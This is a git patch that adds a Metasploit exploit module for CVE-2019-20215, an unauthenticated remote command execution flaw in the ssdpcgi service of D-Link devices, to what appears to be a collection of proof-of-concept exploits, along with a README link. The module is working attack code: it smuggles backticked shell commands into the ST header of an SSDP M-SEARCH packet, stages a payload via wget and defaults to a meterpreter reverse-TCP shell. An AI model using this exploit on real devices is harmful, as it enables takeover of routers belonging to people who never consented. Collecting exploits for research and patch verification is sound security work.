From 7f43d54912fa771779317b829f68704ed97af826 Mon Sep 17 00:00:00 2001
From: mr-xn <mrxn.net@gmail.com>
Date: Wed, 12 Feb 2020 13:40:32 +0800
Subject: [PATCH] add D-Link Devices - Unauthenticated Remote Command Execution
 in ssdpcgi (Metasploit)CVE-2019-20215

---
 ... in ssdpcgi (Metasploit) CVE-2019-20215.rb | 76 +++++++++++++++++++
 README.md                                     |  1 +
 2 files changed, 77 insertions(+)
 create mode 100644 POC_Details/D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit) CVE-2019-20215.rb

diff --git a/POC_Details/D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit) CVE-2019-20215.rb b/POC_Details/D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit) CVE-2019-20215.rb
new file mode 100644
index 00000000..f989c9aa
--- /dev/null
+++ b/POC_Details/D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit) CVE-2019-20215.rb	
@@ -0,0 +1,76 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Udp
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
+      'Description' => %q{
+        D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
+      },
+      'Author'      =>
+        [
+          's1kr10s',
+          'secenv'
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['CVE', '2019-20215'],
+          ['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
+        ],
+      'DisclosureDate' => 'Dec 24 2019',
+      'Privileged'     => true,
+      'Platform'       => 'linux',
+      'Arch'        => ARCH_MIPSBE,
+      'DefaultOptions' =>
+        {
+            'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
+            'CMDSTAGER::FLAVOR' => 'wget',
+            'RPORT' => '1900'
+        },
+      'Targets'        =>
+        [
+          [ 'Auto',	{ } ],
+        ],
+      'CmdStagerFlavor' => %w{ echo wget },
+      'DefaultTarget'  => 0
+      ))
+
+  register_options(
+    [
+      Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
+    ])
+  end
+
+  def exploit
+    execute_cmdstager(linemax: 1500)
+  end
+
+  def execute_command(cmd, opts)
+    type = datastore['VECTOR']
+    if type == "URN"
+      print_status("Target Payload URN")
+      val = "urn:device:1;`#{cmd}`"
+    else
+      print_status("Target Payload UUID")
+      val = "uuid:`#{cmd}`"
+    end
+
+    connect_udp
+    header = "M-SEARCH * HTTP/1.1\r\n"
+    header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n"
+    header << "ST:#{val}\r\n"
+    header << "Man:\"ssdp:discover\"\r\n"
+    header << "MX:2\r\n\r\n"
+    udp_sock.put(header)
+    disconnect_udp
+  end
+end
\ No newline at end of file
diff --git a/README.md b/README.md
index 300955e6..be7ec1ea 100644
--- a/README.md
+++ b/README.md
@@ -22,6 +22,7 @@
 - [D-Link DIR-859 - RCE UnAutenticated (CVE-2019–17621)](https://github.com/s1kr10s/D-Link-DIR-859-RCE)
 - [小米系列路由器远程命令执行漏洞(CVE-2019-18370，CVE-2019-18371)](https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC)
 - [Huawei HG255 Directory Traversal[目录穿越]](https://packetstormsecurity.com/files/155954/huaweihg255-traversal.rb.txt)|[本地备份文件](./tools/huaweihg255-traversal.rb)
+- [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdpcgi%20(Metasploit)%20CVE-2019-20215.rb)
 
 ## Web APP